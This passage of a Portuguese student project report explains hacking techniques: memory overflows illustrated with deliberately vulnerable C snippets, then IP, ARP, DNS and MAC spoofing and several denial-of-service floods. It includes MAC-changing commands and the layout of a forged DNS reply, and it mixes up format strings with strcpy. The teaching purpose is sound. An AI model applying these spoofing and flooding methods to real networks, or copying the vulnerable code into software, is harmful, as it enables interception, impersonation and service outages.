
void f( char *s) {

char buf[256];

strcpy(buf, s);

/* ... */

}

Page 83: relatorio de projecto-Documentação teórica das técnicas de hacking

83

8.1.2 Format String overflows

Este tipo de overflow acontece quando se usa funções como printf(), strcpy(), ou seja

funções que não fazem a verificação do input que recebem nos seus parâmetros de

entrada e esperam que estes estejam sempre correctos, sendo assim caso seja explorado

uma falha na formatação das string é possível inserir mais dados que o que é esperado.

Se não se tiver cuidado pode-se inserir uma quantidade de dados muito grande e

provocar um buffer overflow.

8.1.3 Heap/BSS/Data Overflows

A zona denominada heap é a zona na qual são colocados os dados das variáveis que são

reservadas dinamicamente numa aplicação, reservadas com recurso a função malloc.

Um heap overflow ocorre quando é reservado espaço para uma variável com um

tamanho mais pequeno do que a quantidade de dados que se tenta colocar nessa

variável. Caso a quantidade de dados seja superior á capacidade e não tenha sido

colocada protecção no código para essa possibilidade então os dados que são recebidos

a mais vão sobrepor-se aos dados que se encontram a seguir o que vai permitir ao

atacante alterar a execução normal do código para uma que sirva as suas intenções. Este

tipo de overflow é geralmente explorado quando se conhece na aplicação uma estrutura

que contem um ponteiro para uma função e se sabe que esta estrutura tem o seu espaço

de memória reservado dinamicamente. Neste caso o atacante tentará sobrepor os dados

nesta área de forma a alterar a posição para onde aponta o ponteiro da função para este

ficar a apontar para o código que ele pretende.

8.1.4 Overflow de números inteiros

Este tipo de overflows pode ocorrer quando se recebe como um parâmetro um inteiro.

Apesar de se validar se o inteiro está ou não de acordo com valores aceitáveis pode

acontecer que o valor recebido seja de tal forma elevado que pode ser considerado

válido quando não o é, o que vai provocar um acesso ilegal a memória quando o valor

recebido for usado ou vai fazer com que seja executado código que não era suposto.

Este tipo de overflow costuma ser muito comum quando se pretende aceder a vectores e

não é feita a protecção adequada dos índices (o programador pode enganar-se no

Page 84: relatorio de projecto-Documentação teórica das técnicas de hacking

84

numero de elementos ou esquecer-se do espaço para o carácter de terminação de uma

string se for uma string).

O overflow de um número inteiro ocorre então quando é necessário um número de bits

superior ao disponível para armazenar um resultado.

Se quisermos somar dois caracteres (unsigned char (ocupam 8 bits)) podemos ter o

seguinte código:

Como a variável “result” apenas pode guardar no máximo o valor 255 (=11111111) não

vai ser capaz de guardar o resultado que é 255+2=257 assim, o resultado da operação

vai ser 255+2=1 porque o resultado é truncado e o “1” mais á esquerda é perdido o que

faz com que o valor guardado seja “1”.

Um exemplo de uma função que apresenta código do qual pode resultar um integer

overflow é o seguinte:

unsigned char a = 255;

unsigned char b = 2;

unsigned char result = a + b;

/*

A representação da soma é:

11111111 (a)

+00000010 (b)

------------

100000001 (resultado) */

Page 85: relatorio de projecto-Documentação teórica das técnicas de hacking

85

No código apresentado se o valor da variável “server” for superior ou igual a 254 vai

ocorrer um integer overflow.

Se a string da variável “server” tiver 254 caracteres vão ser reservado 254+2 = 0 bytes

pela função malloc para a variável “UncName” o que vai fazer com que quando se tente

colocar nesta o valor da variável “server” ocorra um erro de escrita na memoria por se

tentar escrever numa zona que não é permitida. A função malloc permite reservar um

buffer de 0 bytes.

Se a string da variável “server” tiver mais de 254, por exemplo 255 caracteres, vão ser

reservado 255+2 = 1 bytes pela função malloc para a variável “UncName” o que vai

fazer com que quando se tente colocar nesta o valor da variável “server” ocorra um erro

de escrita na memoria por se tentar escrever numa zona que não é permitida porque, se

está a tentar escrever 255 bytes quando apenas foi reservado 1, o que vai fazer com que

os outros 254 sejam escritas numa zona onde não era permitido.

Como resultado do integer overflow vai ocorrer um heap overflow porque vão ser

escritos dados na zona da “heap” que não foram reservadas para o efeito. Vai ser um

heap overflow porque a variável que o vai originar é a “UncName” e o espaço que esta

ocupa foi reservado com a função malloc.

Se este tipo de erro ocorrer numa operação de subtracção é designado de Underflow.

Um exemplo de underflow é se fizermos uma subtracção entre variáveis do tipo

unsigned char (8 bits) e fizermos a operação 0-1=255.

bool DoSomething(const char* server)

{

unsigned char namelen = strlen(server) + 2;

if(namelen < 255)

{

char* UncName = malloc(namelen);

if(UncName != 0)

sprintf(UncName, "\\\\%s", server);

}

}

Page 86: relatorio de projecto-Documentação teórica das técnicas de hacking

86

9 Spoofing

Dependendo da acção do atacante. Este pode ter de falsificar a sua identidade de forma

diferente para conseguir o acesso a recursos ou informação que não eram destinados a si

ou para convencer a um terceiro sistema que está a comunicar com outro sistema

legítimo e não com o atacante.

Spoofing consiste no atacante conseguir autenticar o seu computador falsificando os

pacotes de forma a parecerem ter origem de um dispositivo que tem uma relação de

confiança com o dispositivo com o qual o atacante estabelece uma ligação.

Em seguida são descritas as formas de spoofing mais usadas.

9.1 IP spoofing

IP Spoofing consiste em enviar pacotes IP com o endereço IP do emissor pertencente a

outro dispositivo. O endereço IP utilizado pelo emissor pode ser um valor inválido ou

de um sistema que se encontra activo na rede e que pretenda que o computador assuma

assa identidade na rede.

Quando é efectuada uma comunicação o reencaminhamento de pacotes baseia-se apenas

no endereço de destino e por esse motivo não é feita a validação do endereço de origem.

Devido a esta falha de verificação é possível a um atacante assumir a identidade de

outro sistema se a autenticação for baseada apenas no endereço IP.

Para o atacante o único inconveniente neste ataque é que não tem a possibilidade de

receber resposta a saber se teve ou não sucesso no ataque porque o sistema que ele está

a tentar enganar envia a resposta para o verdadeiro sistema.

Existem alguns tipos de ataques que utilizam esta técnica, como é o caso do ataque de

SYN Flooding e Smurf.

Exemplo:

Page 87: relatorio de projecto-Documentação teórica das técnicas de hacking

87

Imagem 46 – esquema a representar o funcionamento do IP Spoofing

O atacante não é informado porque, numa ligação normal TCP é necessário os seguintes

passos (nos passos seguintes o dispositivo “A” é por quem o atacante se está a fazer

passar, o dispositivo “B” é o sistema que o atacante está a tentar enganar e o atacante é

representado pelo seu computador):

1. O dispositivo “A” envia um pacote SYN para o dispositivo “B”;

2. “B” envia um pacote de resposta SYN/ACK para “A”;

3. “A” envia um pacote ACK de resposta a “B”;

Assim numa ligação normal o emissor é continuamente informado do estado da ligação.

Se o atacante falsificar o endereço o processo tem os seguintes passos:

1. O atacante envia um pacote SYN para “B” com o endereço de “A”;

2. “B” envia um pacote de resposta SYN/ACK para “A”;

3. Como o atacante não tem forma de saber se o passo anterior foi executado o

atacante tem de esperar algum tempo antes de enviar um pacote ACK de resposta

para “B” novamente com o endereço de “A”;

Se os passos anteriores forem bem sucedidos o atacante consegue terminar de

estabelecer a ligação com a identidade de “A” e a partir desse instante assume a sua

identidade.

Page 88: relatorio de projecto-Documentação teórica das técnicas de hacking

88

Para que a tentativa de assumir a identidade de “A” funcione é necessário que sejam

compridos alguns requisitos:

Durante a tentativa do atacante de assumir a identidade de A este não pode

enviar nenhum pacote para “B”. Isto tem de acontecer uma vez que se durante a

comunicação, nomeadamente quando “B” envia o pacote SYN/ACK para o “A”

este o receber, ele vai enviar um pacote NACK, porque ele não tinha feito

nenhum pedido de ligação. Se “B” receber este pacote (NACK) vai terminar

imediatamente a ligação estabelecida o que vai fazer com que a tentativa do

atacante não seja bem sucedida.

Para que o atacante consiga assumir a identidade de “A” este tem de se

encontrar activo na rede. Este requisito deve-se ao facto de que se o sistema que

se pretende roubar a identidade não se encontrar ligado, o router vai enviar uma

resposta de timed out da tentativa de ligação para “B” e este desliga a ligação.

Para que os dois pontos anteriores se verifiquem o atacante é então obrigado a usar a

identidade de um sistema que tenha uma relação de confiança (autenticação baseada

unicamente no IP) com “B” e tem de encontrar uma forma de impedir que “A” não

responda a “B” através de um ataque de DoS sobre “A”.

Neste ataque, a parte que inclui mais calculo e raciocínio é o de calcular o valor de

sequência (ISN, Initial Sequence Numbers) a colocar nos pacotes IP que se enviam para

“B”.

Para fabricar os pacotes a enviar podem ser usadas ferramentas como, Libnet ou

Pacgen.tar.gz;

9.2 ARP spoofing

O protocolo ARP (Adress Resolution Protocol) é usado para criar um mapa com a

correspondência entre o endereço IP das máquinas e o MAC address (endereço físico da

placa de rede). Supostamente o endereço MAC de uma placa não pode mudar mas o seu

endereço IP pode, por isso o protocolo ARP foi criado para permitir obter a

correspondência entre o endereço IP e o endereço MAC (e vice-versa). O protocolo ARP

funciona por broadcast de pacotes para obter respostas. Cada computador recebe os

pacotes transmitidos e se for endereçado a si aceita o pacote senão descarta-o. O

protocolo ARP tem apenas quatro tipos de mensagens:

Page 89: relatorio de projecto-Documentação teórica das técnicas de hacking

89

ARP Request, um computador A perguntar á rede: “de quem é este endereço

IP?”;

ARP Reply, um computador B responde ao computador A, “eu tenho esse IP, o

meu MAC address é XX:XX:XX:XX:XX:XX”;

Reverse ARP Request (RARP), um computador A pergunta á rede: “De quem é

este MAC Address?”;

RARP Reply, um computador B responde ao computador A, “eu tenho esse

MAC, o meu endereço IP é X.X.X.X”;

Todos os dispositivos ligados a rede têm uma tabela de ARP (computadores, switch,

etc.) que consiste num espaço de memória que contem todos os conjuntos endereços IP-

MAC address que o sistema já teve de resolver. O objectivo desta tabela é que o

dispositivo não tenha de enviar um ARP Request sempre que pretende comunicar com

outro dispositivo.

ARP spoofing consiste em alterar a tabela de ARP dos dispositivos para que apareça o

MAC address do atacante na resolução de todos os pares IP-MAC. Esta acção vai fazer

com que toda a informação enviada pelos computadores que tenham a tabela de ARP

alterada envia-o para o computador do atacante e não para o computador legítimo. Isto

ocorre porque o swich trabalha na camada 2 do modelo OSI e por isso encaminha a

informação com base no MAC address de destino. O ARP poisoning é fácil de efectuar

porque as máquinas aceitam pacotes ARP Reply mesmo sem terem feito um ARP

Request pelo que o atacante tem apenas de enviar para as máquinas ligadas na rede um

pacote ARP Reply a dizer que todos os IP’s que estão a ser usados na rede estão

associados ao MAC Address dele.

Um esquema simples que ilustra o que acontece é o seguinte:

Antes do ARP spoofing a informação pode circular como apresentada no esquema

seguinte que ilustra o que acontece numa situação normal. Neste exemplo a máquina

“A” e a máquina “C”estão em comunicação com a máquina “B”:

Page 90: relatorio de projecto-Documentação teórica das técnicas de hacking

90

Imagem 47 – esquema de ligações antes de ocorrer ARP Spoofing

A tabela de ARP das máquinas vai ter a seguinte configuração:

Máquina “A”:

192.168.1.101 00:00:00:00:00:02

192.168.1.102 00:00:00:00:00:03

Máquina “B”:

192.168.1.100 00:00:00:00:00:01

192.168.1.102 00:00:00:00:00:03

Máquina “C”:

192.168.1.100 00:00:00:00:00:01

192.168.1.101 00:00:00:00:00:02

Depois do ARP poisoning:

A máquina “A” e máquina “C” estão em comunicação com a máquina “B” mas a

informação passa primeiro pela máquina do atacante.

Imagem 48 - esquema de ligações depois de ocorrer ARP Spoofing

Page 91: relatorio de projecto-Documentação teórica das técnicas de hacking

91

A tabela de ARP das máquinas vai ter a seguinte configuração:

Máquina “A”:

192.168.1.101 00:00:00:00:00:04

192.168.1.102 00:00:00:00:00:04

Máquina “B”:

192.168.1.100 00:00:00:00:00:04

192.168.1.102 00:00:00:00:00:04

Máquina “C”:

192.168.1.100 00:00:00:00:00:04

192.168.1.101 00:00:00:00:00:04

Depois disto o atacante apenas tem de por um sniffer a correr no computador para onde

reencaminhou a informação, tem de activar o IP Forwarding para que a informação seja

reencaminhada para o destino correcto e tem de actualizar periodicamente a tabela de

ARP para que os computadores continuem a enviar a informação para o computador do

atacante.

Se o atacante em vez de colocar o seu endereço MAC colocar um endereço que não

pertença a nenhum dispositivo da rede no pacote ARP Reply vai fazer com que a rede

deixe de funcionar porque toda a informação transmitida pelos dispositivos ligados é

perdida.

Se o atacante em vez de alterar a tabela de ARP de todos os dispositivos da rede alterar

apenas dois dispositivos que estejam a comunicar entre si pode interceptar a ligação

para aceder ou alterar os dados (Man-In-The-Middle) uma vez que a informação para

chegar ao destinatário tem de passar pelo computador do atacante.

9.3 DNS Spoofing

O DNS (Domain Name System) é um sistema de gestão de nomes de rede hierárquico e

distribuído que opera segundo duas definições, examinar e actualizar a base de dados

que possui e resolver os nomes de servidores em endereços de rede (endereços IP).

DNS spoofing consiste em alterar valores na tabela de DNS para fazer com que um

nome corresponda a um IP diferente do verdadeiro. Por exemplo se quisermos aceder á

Page 92: relatorio de projecto-Documentação teórica das técnicas de hacking

92

página da Microsoft escrevemos no browser “www.microsoft.com” e o browser ao pedir

o endereço IP da página para estabelecer a ligação recebe o IP 207.46.198.30. Mas um

atacante que pretenda fazer encaminhar a ligação para outro IP pode alterar este valor

por exemplo para 198.182.196.56 e quando em vez de ser apresentada a página da

Microsoft a ligação é encaminhada para a página www.linux.org.

Um atacante pode então, assim como é apresentado no exemplo anterior alterar o

endereço IP que está resolvido como pertencente a um nome e fazer com que o nome

passe a reencaminhar a vítima para outro endereço. O endereço para onde a vítima é

reencaminhada pode pertencer a outro sistema, pode não existir ou pode pertencer a um

servidor que o atacante tenha criado para simular o sistema real ao qual a vítima está a

tentar aceder.

Um ataque de DNS spoofing consiste em duas fases:

DNS cache Poisoning;

DNS IP Spoofing;

DNS cache poisoning

Como um servidor DNS não pode guardar na sua tabela todas as resoluções

nome/endereço IP existentes na Internet, apenas guarda as resoluções nome/endereço IP

dos dispositivos que estão no domínio que lhe pertence e contém em cache os registos

das resoluções que recebeu de outros servidores DNS para não ter de estar sempre a

pedir a resolução de um nome. Quando o servidor DNS recebe um pedido para resolver

um nome do qual não tem registo na tabela nem na cache envia um pacote de pedido de

resolução de nome ao servidor DNS que o pode resolver e depois de o receber guarda a

entrada na cache.

Em seguida vamos ver como se processa o “cache poisoning”:

Para começar o processo o atacante tem de criar um servidor DNS (por exemplo

“ns.attacker.net”) com um domínio criado por si (por exemplo “attacker.net”) e tem de

alterar os registos DNS da tabela para os valores que pretende por exemplo, colocar o

registo “www.microsoft.com=198.182.196.56” (é atribuído o IP de “www.linux.org”), o

registo “www.atacker.net=172.50.50.50”, etc.

Depois do atacante criar e colocar o servidor DNS a funcionar envia um pacote de

pedido de resolução de nome para o servidor de DNS da vítima (nos exemplos seguintes

chamado apenas de DNS server) a pedir para resolver o endereço www.attacker.net.

Page 93: relatorio de projecto-Documentação teórica das técnicas de hacking

93

Imagem 49 – O atacante faz um pedido de resolução ao servidor DNS da

vítima

Em seguida o servidor DNS da vítima tenta responder ao pedido mas como o nome

pedido não pertence ao seu domínio não o consegue resolver. Em seguida pede ao

servidor de DNS que é capaz para enviar a resolução do nome (como quem é capaz de o

resolver é o servidor DNS do atacante envia o pedido para este).

Imagem 50 – O servidor de DNS da vítima envia um pedido de resolução ao

servidor DNS do atacante para resolver o IP do site do atacante.

O servidor DNS do atacante recebe o pedido e responde ao servidor DNS da vítima e ao

mesmo tempo devolve todos os registos que possui (este processo é denominado de

Zone transfer).

Imagem 51 – O servidor DNS do atacante efectua uma “Zone Transfer” para

o servidor de DNS da vítima.

Depois de efectuar a “Zone Transfer” o servidor DNS da vítima além de obter o

endereço IP do servidor web do atacante obtêm os valores da tabela do servidor DNS

deste o que faz com que este fique com a cache DNS “infectada”, ou seja, com valores

errados. A vítima continua com a cache infectada até que lhe seja feito um update com

valores cuja o emissor não seja o servidor do atacante ou até que sejam limpos os

registos presentes.

Page 94: relatorio de projecto-Documentação teórica das técnicas de hacking

94

Imagem 52 – O servidor DNS da vítima pede o site do atacante depois de

consultar a cache e saber qual o valor do IP do site.

Depois do servidor DNS ter a cache infectada se a vítima fizer do seu browser um

pedido para aceder á página da Microsoft será encaminhado para a página

“www.linux.org”. Mas quando um atacante faz um ataque destes não tem como

objectivo algo tão simples. Este tipo de alteração permite ao atacante simular um

serviço, como por exemplo de um banco e reencaminhar o pedido da vítima para a sua

página o que lhe vai permitir roubar os códigos de acesso da vítima. O atacante pode

ainda reencaminhar o pedido da vítima para o seu servidor e em vez de simular o

serviço reencaminhar o pedido depois do seu servidor para o servidor verdadeiro o que

lhe permite obter a informação da vítima sem ter de simular o serviço.

DNS IP Poisoning

Como já foi dito anteriormente quando um dispositivo “A” quer comunicar com um

dispositivo “B” o dispositivo “A” tem de conhecer o endereço IP de “B” para

estabelecer a comunicação. Se o dispositivo “A” apenas souber o nome de “B” é

necessário usar o protocolo DNS para resolver o nome para IP.

Neste caso o pacote DNS request é enviado por “A” para o servidor de DNS para

resolver o nome do dispositivo “B”. O pacote que é enviado contem um identificador

aleatório numérico que tem de existir no pacote de resposta enviado pelo servidor DNS

quando ele responder ao pacote DNS request da máquina e que tem de ser igual ao valor

enviado no pacote DNS request.

Quando o dispositivo “A” receber o pacote de resposta este apenas é aceite se

identificador que se encontrar na resposta for igual ao valor que estava no pacote de

pedido de resolução.

Como o protocolo DNS se baseia no protocolo UDP para efectuar os pedidos este

procedimento não é seguro, porque permite a um atacante enviar um pacote de resposta

com um IP diferente do verdadeiro. Este pacote é aceite se o atacante o enviar com o

identificador numérico igual ao do pedido. Esta tarefa ainda pode ser ainda mais

Page 95: relatorio de projecto-Documentação teórica das técnicas de hacking

95

simples para o atacante se este se encontrar dentro da rede onde é feito o pedido, porque

neste caso apenas precisa de correr um sniffer na rede e nesse caso tem acesso ao pacote

com o identificador numérico usado e não precisa sequer de o adivinhar.

Para o atacante ser bem sucedido enfrenta algumas dificuldades como ter de enviar o

pacote DNS de resposta para a máquina “A” com o identificador numérico correcto

antes do servidor DNS, visto que este vai receber o pacote de DNS request e vai

responder a máquina com o endereço IP igual ao endereço IP do emissor (a menos que

de alguma forma o atacante faça com que este não seja capaz de responder, por exemplo

se bloquear a passagem do pacote DNS request no gateway ou fizer um ataque ARP

cache poisoning na rede onde se encontra a máquina “A”).

Imagem 53 – Neste exemplo o atacante usa um sniffer para capturar o ID do

pacote e responde á vítima com um IP falso mas com o ID correcto.

Esta solução é muito mais simples que a anterior para o atacante porque não precisa de

possuir ligado á rede um DNS server para realizar o ataque.

Tentar acertar no valor do ID com a mesma metodologia do paradoxo dos

aniversários

Nos dois casos vistos anteriormente o atacante tem de estar na rede da vítima a correr

um sniffer ou tem de ter a correr um servidor DNS para conseguir realizar um ataque de

DNS spoofing.

Mas o atacante não é obrigado a efectuar o ataque a partir de nenhum dos dois métodos

anteriores. O atacante pode estar fora da rede e tentar adivinhar qual o valor usado no

ID. Ao contrário do que pode parecer não é muito difícil acertar neste valor. Se for

Page 96: relatorio de projecto-Documentação teórica das técnicas de hacking

96

usada a mesma metodologia do paradoxo de aniversários vê-se que é muito simples de

acertar no valor do ID.

O paradoxo do aniversário não é um paradoxo verdadeiro mas costuma estar correcto.

Este paradoxo baseia-se em duas perguntas que são:

1 Quantas pessoas tem de estar numa sala para que a probabilidade de pelo menos uma

ter nascido no mesmo dia que tu ser superior a 50%? A resposta é 253 pessoas.

2 Quantas pessoas têm de estar numa sala para que pelo menos duas delas façam anos

no mesmo dia ser superior a 50%? A resposta é 23 pessoas.

Baseando-se neste paradoxo o atacante pode facilmente acertar no valor do ID uma vez

que se mandar mais de 350 pacotes tem mais de 50% de hipóteses de acertar no valor do

ID que está a ser usado e se mandar cerca de 650 a probabilidade de acertar no ID ronda

os 100%.

Assim se o atacante enviar cerca de 650 pacotes a pedir a resolução de um endereço e

enviar cerca de 650 pacotes de resposta com o valor do IP que pretende forjar, a

probabilidade de acertar no ID e o pacote ser aceite pelo servidor é de quase 100%.

Depois de infectar o servidor quando a vítima pedir a resolução de um nome ao servidor

será então reencaminhada para o IP que foi escolhido pelo atacante.

Imagem 54 – DNS spoofing baseado no paradoxo do aniversário

No exemplo vê-se que o atacante infecta a cache do servidor DNS alterando o endereço IP

que corresponde ao nome www.microsoft.com.

O atacante para fabricar os pacotes para a porta correcta precisa descobrir qual é a porta

que a vítima usa para receber os pacotes de pedidos de resolução de nomes. O valor da

porta pode ser descoberto por exemplo, pelo pedido de um DNS lookup de uma máquina

no domínio do servidor DNS.

Os pacotes de resposta falsificados que o atacante tem de mandar para o servidor DNS

têm de ter a estrutura representada a baixo.

Page 97: relatorio de projecto-Documentação teórica das técnicas de hacking

97

9.4 MAC Spoofing

Cada placa de rede tem um endereço físico que é registado em fábrica e que não pode

ser alterado definitivamente. Este endereço apesar de ser físico quando é pedido por

alguma aplicação é dado pelo sistema operativo, o que permite a um atacante falsifica-

lo caso tenha necessidade, porque apenas tem de fornecer o endereço que pretende usar

ao sistema operativo. Se o atacante pretender atacar um dispositivo e sabe que este tem

uma relação de confiança com outro em que a autenticação é baseada unicamente no

endereço MAC, pode alterar o seu endereço para o endereço desse sistema e consegue

autenticar-se assumindo a identidade do dispositivo com o qual a vítima tinha a relação

de confiança.

Em seguida são apresentados exemplos (retirados da Wikipedia) do procedimento

necessário para alterar o endereço MAC das placas de rede nos vários sistemas

operativos.

No sistema operativo Linux (no sistema operativo Linux é necessario ter previlégios de

Root para conseguir efectuar o procedimento):

Ou pode-se usar a ferramenta “MACChanger” para alterar o valor do MAC Adress.

No sistema operativo Windows o endereço MAC pode ser alterado das seguintes formas:

ifconfig eth0 down

ifconfig eth0 hw ether 02:01:02:03:04:08

ifconfig eth0 up

Source address : ns.microsoft.com

Destination address : ns.vitima.com

Source port : 53

Destination port : 1256 (porta que o servidor DNS está a usar)

Data : O IP de www.microsoft.com é 198.182.196.5

Page 98: relatorio de projecto-Documentação teórica das técnicas de hacking

98

Nas propriedades avançadas da placa de rede;

Através do registo do Windows (por exemplo com a linha:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E

972-E325-11CE-BFC1-08002BE10318}.)

Com uma ferramenta que altere o MAC adress como SMAC, Hide my MAC

Adress, etc.

Imagem 55 – Programa SMAC versão 2.0.

10 Negação de serviço (DOS)

Os ataques de negação de serviço (DoS) aproveitam-se de falhas presentes em

aplicações e no protocolo TCP/IP. Actualmente a maioria dos sistemas encontram-se

desprotegidos apenas contra os ataques de negação distribuídos (DDoS).

Um ataque de DoS é um ataque que faz com que um sistema seja impossibilitado de

fornecer um serviço.

Page 99: relatorio de projecto-Documentação teórica das técnicas de hacking

99

Um ataque destes pode impossibilitar a utilização de uma rede privada, de um serviço,

ou todos os serviços que uma organização fornece.

A maioria dos ataques acontecem devido a tratamento errado ou falta de validação dos

pacotes TCP/IP.

Um ataque de DoS geralmente é efectuado do seguinte modo:

1. O atacante usa uma ferramenta para criar pacotes de dados defeituosos numa

quantidade infinita e envia estes dados;

2. A máquina da vítima recebe os dados e não consegue trata-los por isso bloqueia

ou reinicia porque, não consegue validar os dados. Isto acontece porque a

máquina vítima apenas espera dados que venham de acordo com o protocolo

TCP/IP e não verifica se os dados recebidos estão realmente de acordo com

este.

Algumas anomalias indicam que está a ocorrer um ataque de DoS, tais como:

- Excesso de tráfego: A largura de banda utilizada atinge o máximo. É ultrapassado o

número de acessos esperados.

- A existência de pacotes UDP e ICMP de tamanho acima do normal ou em excesso:

Geralmente as sessões UDP utilizam pacotes pequenos dificilmente superiores que 10

bytes (payload). As mensagens ICMP não excedem a faixa entre 64 e 128 bytes. Pacotes

cujo tamanho seja superior a esses números são considerados suspeitos. Pacotes TCP e

UDP que não fazem parte de uma conexão: Alguns tipos de DoS utilizam

aleatoriamente vários protocolos (incluindo protocolos orientados a ligação) para enviar

dados sobre canais não orientados à conexão. Isto pode ser detectado utilizando

firewall’s que mantenham o estado das conexões (statefull firewall’s). Outro ponto

importante é que estes pacotes costumam destinar-se a portas acima da 1024.

Um ataque de DoS tem como resultado:

- Consumo de elementos críticos do sistema, entre eles a largura de banda, routers e

sistemas computacionais;

- Faz com que utilizadores legítimos não sejam capazes de aceder aos recursos

pretendidos;

- Os utilizadores que se encontram ligados são desligados ou a sua ligação torna-se

demasiado lenta;

- A imagem pública da organização é denegrida;

- Leva a perda de lucros, directa ou indirectamente devido á perda de clientes ou de

negócios e de fazer com que o sistema fique bloqueado até o ataque ser solucionado;

Page 100: relatorio de projecto-Documentação teórica das técnicas de hacking

100

- Pode levar a perda de dados, tempo, recursos e faz com que os clientes fiquem

insatisfeitos com o serviço;

10.1 Tipos de ataques de negação de serviço

10.1.1 Consumo de largura de banda

Os ataques de consumo de largura de banda consistem em conseguir bloquear a

comunicação de um computador ou de uma rede pelo consumo da largura de banda

disponível. Não interessa qual é o tamanho da largura de banda disponível porque

existem sempre um limite que é possível atingir para impedir o funcionamento normal

da rede.

Existe alguns ataques baseados no consumo da largura de banda como:

Smurf, este ataque usa Protocolo ICMP. Este protocolo é utilizado para

determinar se um sistema se encontra ou não ligado à rede, para isso envia um

pacote ICMP Echo Request a um sistema e este envia como resposta um ICMP

Echo Reply se estiver ligado à rede. Quando se efectua um ataque é enviado um

número infinito de ICMP Echo Request para o endereço de Broadcast da rede.

Em muitos casos o atacante encontra-se no exterior da rede mas altera o

cabeçalho dos pacotes para parecer que este foi enviado por uma máquina

pertencente à rede interna. De um ataque destes pode resultar negação de serviço

porque os pacotes recebidos no endereço de Broadcast são transmitidos para

todo o sistema e todo o sistema vai responder ao pacote recebido, como

resultado a rede vai ficar cada vez mais lenta podendo mesmo deixar de

funcionar. Para defender um sistema deste tipo de ataques o administrador pode

definir filtros de protecção nos routers e firewall’s bloqueando o trafico de

pacotes ICMP ou apenas definindo regras para que o sistema não permita

receber do exterior pacotes para o endereço de broadcast. O administrador pode

ainda configurar o sistema para apenas descartar os pacotes ICMP que sejam

enviados para o endereço de broadcast.

Fraggle, este ataque é semelhante ao anterior mas em vez de serem enviados

pacotes ICMP são enviados pacotes UDP para o endereço de broadcast. Todos

os sistemas que se encontrem ligado na rede vão responder para o endereço falso

Page 101: relatorio de projecto-Documentação teórica das técnicas de hacking

101

do pacote que foi enviado. Se os sistemas tiverem o serviço ECHO activo vão

responder para a vítima correctamente mas caso não tenham este serviço activo

é enviado á vítima um pacote ICMP de erro, que faz com que seja gerado

tráfego na mesma e que leva sempre ao consumo da largura de banda.

Chargen, este ataque ocorre em sistemas Linux e Unix que tenham a porta Echo

(porta 7) e porta Chargen (porta 19) abertas. A porta “echo” envia tudo o que

esteja no buffer dela e a porta “Chargen” gera um conjunto de caracteres ASCII

o mais rápido que conseguir continuamente. Estas duas portas podem ser usadas

por um atacante para consumo de largura de banda se um atacante ligar a porta

“echo” de um computador á porta “chargen” de outro computador porque esta

ligação vai gerar uma grande quantidade de tráfego.

Ping Flood, no Ping Flood o atacante sobrecarrega o sistema vítima com

pacotes ICMP Echo Request (PING). Este ataque apenas é bem sucedido se o

atacante possui mais largura de banda que a vítima. Como a vítima vai tentar

responder aos pedidos vai consumir a sua largura de banda impossibilitando-a de

responder a pedidos de outros utilizadores.

A única maneira de proteger deste tipo de ataque é limitando o tráfego de ICMP

Echo Request na sua totalidade ou apenas limitando o tráfego de pacotes de

ICMP Echo Request com um tamanho elevado.

-a baixo encontra-se um de sistemas que podem ser vítimas de Ping Flood por

permitirem pacotes Ping de tamanho elevado:

Imagem 56 – Exemplo de um ping com 35 000 bytes de tamanho

UDP Flooding, neste ataque é usado o protocolo UDP (User Datagram

Protocol). O UDP flooding consiste no atacante enviar uma grande quantidade

de pacotes UDP para uma porta que não está a ser usada do sistema da vítima.

Quando o sistema atacado recebe os pacotes vai tentar ver qual é a aplicação que

Page 102: relatorio de projecto-Documentação teórica das técnicas de hacking

102

está a funcionar na porta para a qual o pacote foi enviada e este vai ter de

responder com um pacote ICMP Destination Unreachable para indicar que não

está nenhuma aplicação a funcionar na porta. Se os pacotes chegarem a uma

velocidade muito superior á velocidade de processamento da vítima este acaba

por ficar sem recursos para processar os pacotes e acaba por bloquear ou

reiniciar.

Neste ataque o atacante terá de falsificar o seu IP para não receber os pacotes

ICMP de resposta e para não ser apanhado. O atacante pode ainda em vez de

escolher um IP de origem aleatório, escolher o IP de outro sistema o que pode

fazer com que os dois sistemas fiquem bloqueados ou reiniciem devido à

quantidade de tráfico trocado entre os dois.

10.1.2 Falta de recursos (Resource starvation)

Um ataque de negação de serviço por falta de recursos é feito através do envio de

tráfego para um determinado serviço ou computador. O objectivo deste tipo de ataques

é fazer com que um determinado serviço fique indisponível ou que um computador

fique indisponível, bloqueie ou reinicie.

Alguns dos ataques que se destinam a provocar a falta de recursos são:

SYN Flooding, este é o tipo de ataque de DoS mais comum e perigoso. Este

ataque não é baseado em nenhuma falha no protocolo TCP/IP, mas sim na

exploração da maneira como é estabelecida uma ligação TCP. Uma ligação TCP

para ser estabelecida tem os seguintes 3 passos:

Passo 1: O cliente requisita uma conexão enviando um SYN (synchronization

Package) ao destinatário.

Passo 2: O destinatário confirma este pedido mandando um SYN-ACK de volta

ao cliente.

Passo 3: O cliente por sua vez responde com um ACK, e a conexão fica

estabelecida.

Isto é o chamado aperto de mão em três etapas (Three-Way Handshake).

Este ataque consiste então em não enviar a ultima mensagem de ACK o que vai

obrigar o sistema atacado a ficar a espera durante o timeout definido. Um dos

problemas prendesse então com a definição do tempo de espera, uma vez que

não pode ser demasiado pequeno porque o atraso da resposta do sistema para

Page 103: relatorio de projecto-Documentação teórica das técnicas de hacking

103

finalizar o estabelecimento da comunicação pode derivar de um

congestionamento da rede. Se o sistema atacado ficar então com todos os seus

recursos ocupados e não poder iniciar o estabelecimento de mais nenhuma

ligação passa a negar o serviço que estava a fornecer.

Para que este ataque seja bem sucedido é necessário que o atacante consiga

enviar pedidos de ligação a um ritmo muito maior do que o ritmo a que a

máquina a ser atacada consegue cancelar uma ligação inválida, porque sempre

que a máquina atacada cancela uma ligação invalida os recursos consumidos por

esta ligação são libertados.

Duas das medidas que podem ser tomadas para evitar esta situação é utilizar

SYN cookies ou diminuir o tempo de espera por uma resposta. Pode-se optar

ainda por limitar o número de conexões, sendo que esta opção pode resultar em

deixar clientes legítimos a espera para obter uma ligação.

Este ataque é fácil de detectar recorrendo por exemplo a ferramentas como o

netstat, porque se um sistema estiver a ser atacado ele vai apresentar uma

elevada quantidade de ligações no estado SYN_RECEIVED.

CPU Hog, este tipo de negação de serviço consiste em explorar a maneira como

o sistema operativo Windows executa os processos. Este programa define a sua

prioridade para o valor máximo, que em sistemas Windows tem o valor de 16.

Depois de fazer isto as restantes aplicações que se encontrem a correr não

conseguem adquirir controlo do processador porque a prioridade máxima a que

